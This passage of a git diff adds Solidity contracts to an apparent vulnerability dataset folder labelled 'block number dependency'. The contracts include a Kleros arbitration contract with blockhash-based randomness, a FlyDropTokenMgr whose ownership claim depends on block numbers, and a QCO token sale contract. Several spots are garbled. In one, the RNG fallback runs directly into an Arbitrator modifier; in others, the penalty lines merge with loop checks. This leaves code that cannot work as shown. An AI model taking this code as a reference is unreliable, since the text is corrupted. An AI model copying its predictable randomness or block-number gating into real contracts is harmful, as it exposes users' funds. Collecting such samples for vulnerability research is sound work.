newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + + function min(uint a, uint b) pure internal returns (uint) { + return a < b ? a : b; + } + + + + + function () public payable { + require(isContract(controller)); + require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); + } + + + + + + + + + + function claimTokens(address _token) public onlyController { + if (_token == 0x0) { + controller.transfer(this.balance); + return; + } + + Pinakion token = Pinakion(_token); + uint balance = token.balanceOf(this); + token.transfer(controller, balance); + ClaimedTokens(_token, controller, balance); + } + + + + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); + +} + + + + + + + + + +contract MiniMeTokenFactory { + + + + + + + + + + + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public returns (Pinakion) { + Pinakion newToken = new Pinakion( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _decimalUnits, + _tokenSymbol, + _transfersEnabled + ); + + newToken.changeController(msg.sender); + return newToken; + } +} + +contract RNG{ + + + function contribute(uint _block) public payable; + + + function requestRN(uint _block) public payable { + contribute(_block); + } + + + function getRN(uint _block) public returns (uint RN); + + + function getUncorrelatedRN(uint _block) public returns (uint RN) { + uint baseRN=getRN(_block); + if (baseRN==0) + return 0; + else + return uint(keccak256(msg.sender,baseRN)); + } + + } + + +contract BlockHashRNG is RNG { + + mapping (uint => uint) public randomNumber; + mapping (uint => uint) public reward; + + + + + function contribute(uint _block) public payable { reward[_block]+=msg.value; } + + + + function getRN(uint _block) public returns (uint RN) { + RN=randomNumber[_block]; + if (RN==0){ + saveRN(_block); + return randomNumber[_block]; + } + else + return RN; + } + + + function saveRN(uint _block) public { + if (blockhash(_block) != 0x0) + randomNumber[_block] = uint(blockhash(_block)); + if (randomNumber[_block] != 0) { + uint rewardToSend = reward[_block]; + reward[_block] = 0; + msg.sender.send(rewardToSend); + } + } + +} + + + +contract BlockHashRNGFallback is BlockHashRNG { + + + function saveRN(uint _block) public { + if (_block=arbitrationCost(_extraData)); _;} + modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;} + + + event AppealPossible(uint _disputeID); + + + event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable); + + + event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable); + + + function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} + + + function arbitrationCost(bytes _extraData) public constant returns(uint fee); + + + function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { + emit AppealDecision(_disputeID, Arbitrable(msg.sender)); + } + + + function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee); + + + function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status); + + + function currentRuling(uint _disputeID) public constant returns(uint ruling); + +} + + + +contract Kleros is Arbitrator, ApproveAndCallFallBack { + + + + + + + Pinakion public pinakion; + uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2; + + + + RNG public rng; + uint public arbitrationFeePerJuror = 0.05 ether; + uint16 public defaultNumberJuror = 3; + uint public minActivatedToken = 0.1 * 1e18; + uint[5] public timePerPeriod; + uint public alpha = 2000; + uint constant ALPHA_DIVISOR = 1e4; + uint public maxAppeals = 5; + + + address public governor; + + + uint public session = 1; + uint public lastPeriodChange; + uint public segmentSize; + uint public rnBlock; + uint public randomNumber; + + enum Period { + Activation, + Draw, + Vote, + Appeal, + Execution + } + + Period public period; + + struct Juror { + uint balance; + uint atStake; + uint lastSession; + uint segmentStart; + uint segmentEnd; + } + + mapping (address => Juror) public jurors; + + struct Vote { + address account; + uint ruling; + } + + struct VoteCounter { + uint winningChoice; + uint winningCount; + mapping (uint => uint) voteCount; + } + + enum DisputeState { + Open, + Resolving, + Executable, + Executed + } + + struct Dispute { + Arbitrable arbitrated; + uint session; + uint appeals; + uint choices; + uint16 initialNumberJurors; + uint arbitrationFeePerJuror; + DisputeState state; + Vote[][] votes; + VoteCounter[] voteCounter; + mapping (address => uint) lastSessionVote; + uint currentAppealToRepartition; + AppealsRepartitioned[] appealsRepartitioned; + } + + enum RepartitionStage { + Incoherent, + Coherent, + AtStake, + Complete + } + + struct AppealsRepartitioned { + uint totalToRedistribute; + uint nbCoherent; + uint currentIncoherentVote; + uint currentCoherentVote; + uint currentAtStakeVote; + RepartitionStage stage; + } + + Dispute[] public disputes; + + + + + + + event NewPeriod(Period _period, uint indexed _session); + + + event TokenShift(address indexed _account, uint _disputeID, int _amount); + + + event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount); + + + + + modifier onlyBy(address _account) {require(msg.sender == _account); _;} + modifier onlyDuring(Period _period) {require(period == _period); _;} + modifier onlyGovernor() {require(msg.sender == governor); _;} + + + + constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public { + pinakion = _pinakion; + rng = _rng; + lastPeriodChange = now; + timePerPeriod = _timePerPeriod; + governor = _governor; + } + + + + + + + + function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { + require(pinakion.transferFrom(_from, this, _amount)); + + jurors[_from].balance += _amount; + } + + + function withdraw(uint _value) public { + Juror storage juror = jurors[msg.sender]; + require(juror.atStake <= juror.balance); + require(_value <= juror.balance-juror.atStake); + require(juror.lastSession != session); + + juror.balance -= _value; + require(pinakion.transfer(msg.sender,_value)); + } + + + + + + + + function passPeriod() public { + require(now-lastPeriodChange >= timePerPeriod[uint8(period)]); + + if (period == Period.Activation) { + rnBlock = block.number + 1; + rng.requestRN(rnBlock); + period = Period.Draw; + } else if (period == Period.Draw) { + randomNumber = rng.getUncorrelatedRN(rnBlock); + require(randomNumber != 0); + period = Period.Vote; + } else if (period == Period.Vote) { + period = Period.Appeal; + } else if (period == Period.Appeal) { + period = Period.Execution; + } else if (period == Period.Execution) { + period = Period.Activation; + ++session; + segmentSize = 0; + rnBlock = 0; + randomNumber = 0; + } + + + lastPeriodChange = now; + NewPeriod(period, session); + } + + + + function activateTokens(uint _value) public onlyDuring(Period.Activation) { + Juror storage juror = jurors[msg.sender]; + require(_value <= juror.balance); + require(_value >= minActivatedToken); + require(juror.lastSession != session); + + juror.lastSession = session; + juror.segmentStart = segmentSize; + segmentSize += _value; + juror.segmentEnd = segmentSize; + + } + + + function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) { + Dispute storage dispute = disputes[_disputeID]; + Juror storage juror = jurors[msg.sender]; + VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals]; + require(dispute.lastSessionVote[msg.sender] != session); + require(_ruling <= dispute.choices); + + require(validDraws(msg.sender, _disputeID, _draws)); + + dispute.lastSessionVote[msg.sender] = session; + voteCounter.voteCount[_ruling] += _draws.length; + if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) { + voteCounter.winningCount = voteCounter.voteCount[_ruling]; + voteCounter.winningChoice = _ruling; + } else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) { + voteCounter.winningChoice = 0; + } + for (uint i = 0; i < _draws.length; ++i) { + dispute.votes[dispute.appeals].push(Vote({ + account: msg.sender, + ruling: _ruling + })); + } + + juror.atStake += _draws.length * getStakePerDraw(); + uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror; + msg.sender.transfer(feeToPay); + ArbitrationReward(msg.sender, _disputeID, feeToPay); + } + + + function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public { + Dispute storage dispute = disputes[_disputeID]; + Juror storage inactiveJuror = jurors[_jurorAddress]; + require(period > Period.Vote); + require(dispute.lastSessionVote[_jurorAddress] != session); + dispute.lastSessionVote[_jurorAddress] = session; + require(validDraws(_jurorAddress, _disputeID, _draws)); + uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR; + penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance; + inactiveJuror.balance -= penality; + TokenShift(_jurorAddress, _disputeID, -int(penality)); + jurors[msg.sender].balance += penality / 2; + TokenShift(msg.sender, _disputeID, int(penality / 2)); + jurors[governor].balance += penality / 2; + TokenShift(governor, _disputeID, int(penality / 2)); + msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror); + } + + + function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) { + Dispute storage dispute = disputes[_disputeID]; + require(dispute.state == DisputeState.Open); + require(dispute.session+dispute.appeals <= session); + + uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; + uint amountShift = getStakePerDraw(); + for (uint i = 0; i <= dispute.appeals; ++i) { + + + + if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) { + uint totalToRedistribute = 0; + uint nbCoherent = 0; + + for (uint j = 0; j < dispute.votes[i].length; ++j) { + Vote storage vote = dispute.votes[i][j]; + if (vote.ruling != winningChoice) { + Juror storage juror = jurors[vote.account]; + uint penalty = amountShift= _maxIterations) { + return; + } + Vote storage vote = dispute.votes[i][j]; + if (vote.ruling != winningChoice) { + Juror storage juror = jurors[vote.account]; + uint penalty = amountShift= _maxIterations) { + return; + } + vote = dispute.votes[i][j]; + if (vote.ruling == winningChoice) { + juror = jurors[vote.account]; + juror.balance += toRedistribute; + TokenShift(vote.account, _disputeID, int(toRedistribute)); + } + + ++currentIterations; + ++dispute.appealsRepartitioned[i].currentCoherentVote; + } + + dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; + } + } + + if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) { + + for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) { + if (currentIterations >= _maxIterations) { + return; + } + vote = dispute.votes[i][j]; + juror = jurors[vote.account]; + juror.atStake -= amountShift; + + ++currentIterations; + ++dispute.appealsRepartitioned[i].currentAtStakeVote; + } + + dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete; + } + + if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) { + ++dispute.currentAppealToRepartition; + } + } + + dispute.state = DisputeState.Executable; + } + + + + + + + + function amountJurors(uint _disputeID) public view returns (uint nbJurors) { + Dispute storage dispute = disputes[_disputeID]; + return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1; + } + + + function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) { + uint draw = 0; + Juror storage juror = jurors[_jurorAddress]; + Dispute storage dispute = disputes[_disputeID]; + uint nbJurors = amountJurors(_disputeID); + + if (juror.lastSession != session) return false; + if (dispute.session+dispute.appeals != session) return false; + if (period <= Period.Draw) return false; + for (uint i = 0; i < _draws.length; ++i) { + if (_draws[i] <= draw) return false; + draw = _draws[i]; + if (draw > nbJurors) return false; + uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize; + require(position >= juror.segmentStart); + require(position < juror.segmentEnd); + } + + return true; + } + + + + + + + + function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) { + uint16 nbJurors = extraDataToNbJurors(_extraData); + require(msg.value >= arbitrationCost(_extraData)); + + disputeID = disputes.length++; + Dispute storage dispute = disputes[disputeID]; + dispute.arbitrated = Arbitrable(msg.sender); + if (period < Period.Draw) + dispute.session = session; + else + dispute.session = session+1; + dispute.choices = _choices; + dispute.initialNumberJurors = nbJurors; + dispute.arbitrationFeePerJuror = arbitrationFeePerJuror; + dispute.votes.length++; + dispute.voteCounter.length++; + + DisputeCreation(disputeID, Arbitrable(msg.sender)); + return disputeID; + } + + + function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) { + super.appeal(_disputeID,_extraData); + Dispute storage dispute = disputes[_disputeID]; + require(msg.value >= appealCost(_disputeID, _extraData)); + require(dispute.session+dispute.appeals == session); + require(dispute.arbitrated == msg.sender); + + dispute.appeals++; + dispute.votes.length++; + dispute.voteCounter.length++; + } + + + function executeRuling(uint disputeID) public { + Dispute storage dispute = disputes[disputeID]; + require(dispute.state == DisputeState.Executable); + + dispute.state = DisputeState.Executed; + dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice); + } + + + + + + + + function arbitrationCost(bytes _extraData) public view returns (uint fee) { + return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror; + } + + + function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) { + Dispute storage dispute = disputes[_disputeID]; + + if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT; + + return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror; + } + + + function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) { + if (_extraData.length < 2) + return defaultNumberJuror; + else + return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]); + } + + + function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) { + return (alpha * minActivatedToken) / ALPHA_DIVISOR; + } + + + + + + + + function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) { + return disputes[_disputeID].votes[_appeals][_voteID].account; + } + + + function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) { + return disputes[_disputeID].votes[_appeals][_voteID].ruling; + } + + + function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) { + return disputes[_disputeID].voteCounter[_appeals].winningChoice; + } + + + function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) { + return disputes[_disputeID].voteCounter[_appeals].winningCount; + } + + + function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) { + return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice]; + } + + + function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) { + return disputes[_disputeID].lastSessionVote[_juror]; + } + + + function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) { + Dispute storage dispute = disputes[_disputeID]; + Juror storage juror = jurors[_juror]; + if (juror.lastSession != session + || (dispute.session+dispute.appeals != session) + || period<=Period.Draw + || _draw>amountJurors(_disputeID) + || _draw==0 + || segmentSize==0 + ) { + return false; + } else { + uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize; + return (position >= juror.segmentStart) && (position < juror.segmentEnd); + } + + } + + + function currentRuling(uint _disputeID) public view returns (uint ruling) { + Dispute storage dispute = disputes[_disputeID]; + return dispute.voteCounter[dispute.appeals].winningChoice; + } + + + function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) { + Dispute storage dispute = disputes[_disputeID]; + if (dispute.session+dispute.appeals < session) + return DisputeStatus.Solved; + else if(dispute.session+dispute.appeals == session) { + if (dispute.state == DisputeState.Open) { + if (period < Period.Appeal) + return DisputeStatus.Waiting; + else if (period == Period.Appeal) + return DisputeStatus.Appealable; + else return DisputeStatus.Solved; + } else return DisputeStatus.Solved; + } else return DisputeStatus.Waiting; + } + + + + + + + function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor { + _target.call.value(_value)(_data); + } + + + function setRng(RNG _rng) public onlyGovernor { + rng = _rng; + } + + + function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor { + arbitrationFeePerJuror = _arbitrationFeePerJuror; + } + + + function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor { + defaultNumberJuror = _defaultNumberJuror; + } + + + function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor { + minActivatedToken = _minActivatedToken; + } + + + function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor { + timePerPeriod = _timePerPeriod; + } + + + function setAlpha(uint _alpha) public onlyGovernor { + alpha = _alpha; + } + + + function setMaxAppeals(uint _maxAppeals) public onlyGovernor { + maxAppeals = _maxAppeals; + } + + + function setGovernor(address _governor) public onlyGovernor { + governor = _governor; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/436.sol b/smart_contract_dataset/block number dependency/436.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/436.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/441.sol b/smart_contract_dataset/block number dependency/441.sol new file mode 100644 index 0000000000000000000000000000000000000000..7c772736ff7563baac28f40d7fe557915d7b21ea --- /dev/null +++ b/smart_contract_dataset/block number dependency/441.sol @@ -0,0 +1,743 @@ +pragma solidity ^0.4.11; + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + + uint256 _allowance = allowed[_from][msg.sender]; + + + + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = _allowance.sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + function increaseApproval (address _spender, uint _addedValue) + returns (bool success) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval (address _spender, uint _subtractedValue) + returns (bool success) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + +contract QravityTeamTimelock { + using SafeMath for uint256; + + uint16 constant ORIGIN_YEAR = 1970; + + + address public controller; + + uint256 public releasedAmount; + + ERC20Basic token; + + function QravityTeamTimelock(ERC20Basic _token, address _controller) + public + { + require(address(_token) != 0x0); + require(_controller != 0x0); + token = _token; + controller = _controller; + } + + + function release(address _beneficiary, uint256 _amount) + public + { + require(msg.sender == controller); + require(_amount > 0); + require(_amount <= availableAmount(now)); + token.transfer(_beneficiary, _amount); + releasedAmount = releasedAmount.add(_amount); + } + + function availableAmount(uint256 timestamp) + public view + returns (uint256 amount) + { + uint256 totalWalletAmount = releasedAmount.add(token.balanceOf(this)); + uint256 canBeReleasedAmount = totalWalletAmount.mul(availablePercent(timestamp)).div(100); + return canBeReleasedAmount.sub(releasedAmount); + } + + function availablePercent(uint256 timestamp) + public view + returns (uint256 factor) + { + uint256[10] memory releasePercent = [uint256(0), 20, 30, 40, 50, 60, 70, 80, 90, 100]; + uint[10] memory releaseTimes = [ + toTimestamp(2020, 4, 1), + toTimestamp(2020, 7, 1), + toTimestamp(2020, 10, 1), + toTimestamp(2021, 1, 1), + toTimestamp(2021, 4, 1), + toTimestamp(2021, 7, 1), + toTimestamp(2021, 10, 1), + toTimestamp(2022, 1, 1), + toTimestamp(2022, 4, 1), + 0 + ]; + + + uint256 timeIndex = 0; + + for (uint256 i = 0; i < releaseTimes.length; i++) { + if (timestamp < releaseTimes[i] || releaseTimes[i] == 0) { + timeIndex = i; + break; + } + } + return releasePercent[timeIndex]; + } + + + + function toTimestamp(uint16 year, uint8 month, uint8 day) + internal pure returns (uint timestamp) { + uint16 i; + + + timestamp += (year - ORIGIN_YEAR) * 1 years; + timestamp += (leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR)) * 1 days; + + + uint8[12] memory monthDayCounts; + monthDayCounts[0] = 31; + if (isLeapYear(year)) { + monthDayCounts[1] = 29; + } + else { + monthDayCounts[1] = 28; + } + monthDayCounts[2] = 31; + monthDayCounts[3] = 30; + monthDayCounts[4] = 31; + monthDayCounts[5] = 30; + monthDayCounts[6] = 31; + monthDayCounts[7] = 31; + monthDayCounts[8] = 30; + monthDayCounts[9] = 31; + monthDayCounts[10] = 30; + monthDayCounts[11] = 31; + + for (i = 1; i < month; i++) { + timestamp += monthDayCounts[i - 1] * 1 days; + } + + + timestamp += (day - 1) * 1 days; + + + + return timestamp; + } + + function leapYearsBefore(uint year) + internal pure returns (uint) { + year -= 1; + return year / 4 - year / 100 + year / 400; + } + + function isLeapYear(uint16 year) + internal pure returns (bool) { + if (year % 4 != 0) { + return false; + } + if (year % 100 != 0) { + return true; + } + if (year % 400 != 0) { + return false; + } + return true; + } +} + + + +library Bonus { + uint16 constant ORIGIN_YEAR = 1970; + struct BonusData { + uint[7] factors; + uint[6] cutofftimes; + } + + + function initBonus(BonusData storage data) + internal + { + data.factors = [uint256(300), 250, 200, 150, 100, 50, 0]; + data.cutofftimes = [toTimestamp(2018, 9, 1), + toTimestamp(2018, 9, 8), + toTimestamp(2018, 9, 15), + toTimestamp(2018, 9, 22), + toTimestamp(2018, 9, 29), + toTimestamp(2018, 10, 8)]; + } + + function getBonusFactor(uint timestamp, BonusData storage data) + internal view returns (uint256 factor) + { + uint256 countcutoffs = data.cutofftimes.length; + + uint256 timeIndex = countcutoffs; + + for (uint256 i = 0; i < countcutoffs; i++) { + if (timestamp < data.cutofftimes[i]) { + timeIndex = i; + break; + } + } + + return data.factors[timeIndex]; + } + + function getFollowingCutoffTime(uint timestamp, BonusData storage data) + internal view returns (uint nextTime) + { + uint256 countcutoffs = data.cutofftimes.length; + + nextTime = 0; + + for (uint256 i = 0; i < countcutoffs; i++) { + if (timestamp < data.cutofftimes[i]) { + nextTime = data.cutofftimes[i]; + break; + } + } + + return nextTime; + } + + + + function toTimestamp(uint16 year, uint8 month, uint8 day) + internal pure returns (uint timestamp) { + uint16 i; + + + timestamp += (year - ORIGIN_YEAR) * 1 years; + timestamp += (leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR)) * 1 days; + + + uint8[12] memory monthDayCounts; + monthDayCounts[0] = 31; + if (isLeapYear(year)) { + monthDayCounts[1] = 29; + } + else { + monthDayCounts[1] = 28; + } + monthDayCounts[2] = 31; + monthDayCounts[3] = 30; + monthDayCounts[4] = 31; + monthDayCounts[5] = 30; + monthDayCounts[6] = 31; + monthDayCounts[7] = 31; + monthDayCounts[8] = 30; + monthDayCounts[9] = 31; + monthDayCounts[10] = 30; + monthDayCounts[11] = 31; + + for (i = 1; i < month; i++) { + timestamp += monthDayCounts[i - 1] * 1 days; + } + + + timestamp += (day - 1) * 1 days; + + + + return timestamp; + } + + function leapYearsBefore(uint year) + internal pure returns (uint) { + year -= 1; + return year / 4 - year / 100 + year / 400; + } + + function isLeapYear(uint16 year) + internal pure returns (bool) { + if (year % 4 != 0) { + return false; + } + if (year % 100 != 0) { + return true; + } + if (year % 400 != 0) { + return false; + } + return true; + } +} + + + + +pragma solidity ^0.4.11; + + + + +contract QCOToken is StandardToken { + + + enum States { + Initial, + ValuationSet, + Ico, + Aborted, + Operational, + Paused + } + + mapping(address => uint256) public ethPossibleRefunds; + + uint256 public soldTokens; + + string public constant name = "Qravity Coin Token"; + + string public constant symbol = "QCO"; + + uint8 public constant decimals = 18; + + mapping(address => bool) public whitelist; + + address public stateControl; + + address public whitelistControl; + + address public withdrawControl; + + address public tokenAssignmentControl; + + address public teamWallet; + + address public reserves; + + States public state; + + uint256 public endBlock; + + uint256 public ETH_QCO; + + uint256 constant pointMultiplier = 1e18; + + uint256 public constant maxTotalSupply = 1000000000 * pointMultiplier; + + uint256 public constant percentForSale = 50; + + Bonus.BonusData bonusData; + + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + uint256 public pauseOffset = 0; + + uint256 public pauseLastStart = 0; + + + + function QCOToken( + address _stateControl + , address _whitelistControl + , address _withdrawControl + , address _tokenAssignmentControl + , address _teamControl + , address _reserves) + public + { + stateControl = _stateControl; + whitelistControl = _whitelistControl; + withdrawControl = _withdrawControl; + tokenAssignmentControl = _tokenAssignmentControl; + moveToState(States.Initial); + endBlock = 0; + ETH_QCO = 0; + totalSupply = maxTotalSupply; + soldTokens = 0; + Bonus.initBonus(bonusData); + teamWallet = address(new QravityTeamTimelock(this, _teamControl)); + + reserves = _reserves; + balances[reserves] = totalSupply; + Mint(reserves, totalSupply); + Transfer(0x0, reserves, totalSupply); + } + + event Whitelisted(address addr); + + event StateTransition(States oldState, States newState); + + modifier onlyWhitelist() { + require(msg.sender == whitelistControl); + _; + } + + modifier onlyStateControl() { + require(msg.sender == stateControl); 